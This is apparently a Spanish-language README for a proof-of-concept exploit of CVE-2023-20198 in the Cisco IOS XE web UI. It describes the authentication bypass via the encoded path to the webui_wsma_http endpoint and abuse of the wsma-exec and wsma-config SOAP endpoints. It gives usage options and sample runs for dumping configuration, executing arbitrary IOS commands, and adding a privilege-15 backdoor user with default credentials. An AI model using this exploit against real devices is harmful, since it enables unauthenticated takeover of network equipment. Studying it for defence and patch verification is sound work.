
Exploit de prueba de concepto para CVE-2023-20198 dirigido a la interfaz web UI de Cisco IOS XE. Permite ejecución remota de comandos sin autenticación, recuperación de configuración y escalada de privilegios a través de endpoints SOAP.
PoC de exploit para CVE-2023-20198
CVE-2023-20198 se caracteriza por una validación de ruta incorrecta para eludir el filtrado de Nginx y alcanzar el endpoint web webui_wsma_http sin requerir autenticación.
Al eludir la autenticación en el endpoint, un atacante puede ejecutar comandos arbitrarios de Cisco IOS o realizar cambios de configuración con privilegios de nivel 15.
La investigación de Cisco sobre la explotación activa de la vulnerabilidad previamente no divulgada reveló que los actores de amenazas primero explotaron CVE-2023-20198 para agregar un nuevo usuario con nivel de privilegio 15. Ataques posteriores implicaron la explotación de CVE-2023-20273 para escalar al usuario root del sistema operativo Linux subyacente y facilitar la implantación.
Este PoC explota CVE-2023-20198 para aprovechar dos endpoints XML SOAP diferentes:
Las opciones de verificación de vulnerabilidad, configuración y ejecución de comandos apuntan al endpoint SOAP cisco:wsma-exec para insertar comandos en la etiqueta del elemento execCLI.
La opción de agregar usuario apunta al endpoint SOAP cisco:wsma-config para realizar un cambio de configuración y agregar la cuenta de Privilegio 15. Este endpoint podría ser [ab]used para hacer otros cambios de configuración, pero eso está fuera del alcance de este PoC.
El abuso del endpoint SOAP cisco:wsma-exec provino de la plantilla de nuclei
El abuso del endpoint SOAP cisco:wsma-config provino del PoC de horizon3ai
Nota: No realicé ninguna de las investigaciones originales ni el desarrollo del PoC para este CVE. Consulte la sección de referencias para créditos.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Para verificar CVE-2023-20198, -c intentará explotar la vulnerabilidad para ejecutar uname -a
Ejemplo:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
La opción -g ejecuta sh run para obtener la configuración en ejecución
Ejemplo:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Se pueden ejecutar comandos arbitrarios de Cisco IOS con la opción -e.
Se debe tener extrema precaución al usar esto para realizar cambios de configuración. No hay validación de entrada y los cambios se aplican inmediatamente a la configuración en ejecución.
Ejemplo:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
La opción -a se puede utilizar para crear una nueva cuenta de usuario con Privilegio 15, especificando opcionalmente el nombre de la cuenta y la contraseña con -u y -p respectivamente.
Ejemplo:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
La opción -d se puede utilizar para eliminar una cuenta de usuario del dispositivo y respeta el nombre de usuario especificado con -u.
Se debe tener cuidado para asegurarse de no eliminar una cuenta legítima.
Esto se agregó para casos en los que no se puede obtener acceso shell/webui a un Cisco explotado. Se observó que agregar un usuario de Privilegio 15 no otorga acceso a la webui y podría llevar a dejar artefactos de explotación en los hosts.
Aviso de Cisco
Investigación de horizon3ai sobre CVE-2023-20198
PoC de horizon3ai para CVE-2023-20198